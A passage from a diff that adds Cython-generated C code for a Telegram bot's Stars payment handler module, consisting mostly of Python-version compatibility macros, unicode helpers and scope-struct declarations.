CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__stars_pay +#define __PYX_HAVE_API__handlers__payments__stars_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/stars_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query; +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment; + +/* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_e; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + + +/* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_data; + PyObject *__pyx_v_e; + PyObject 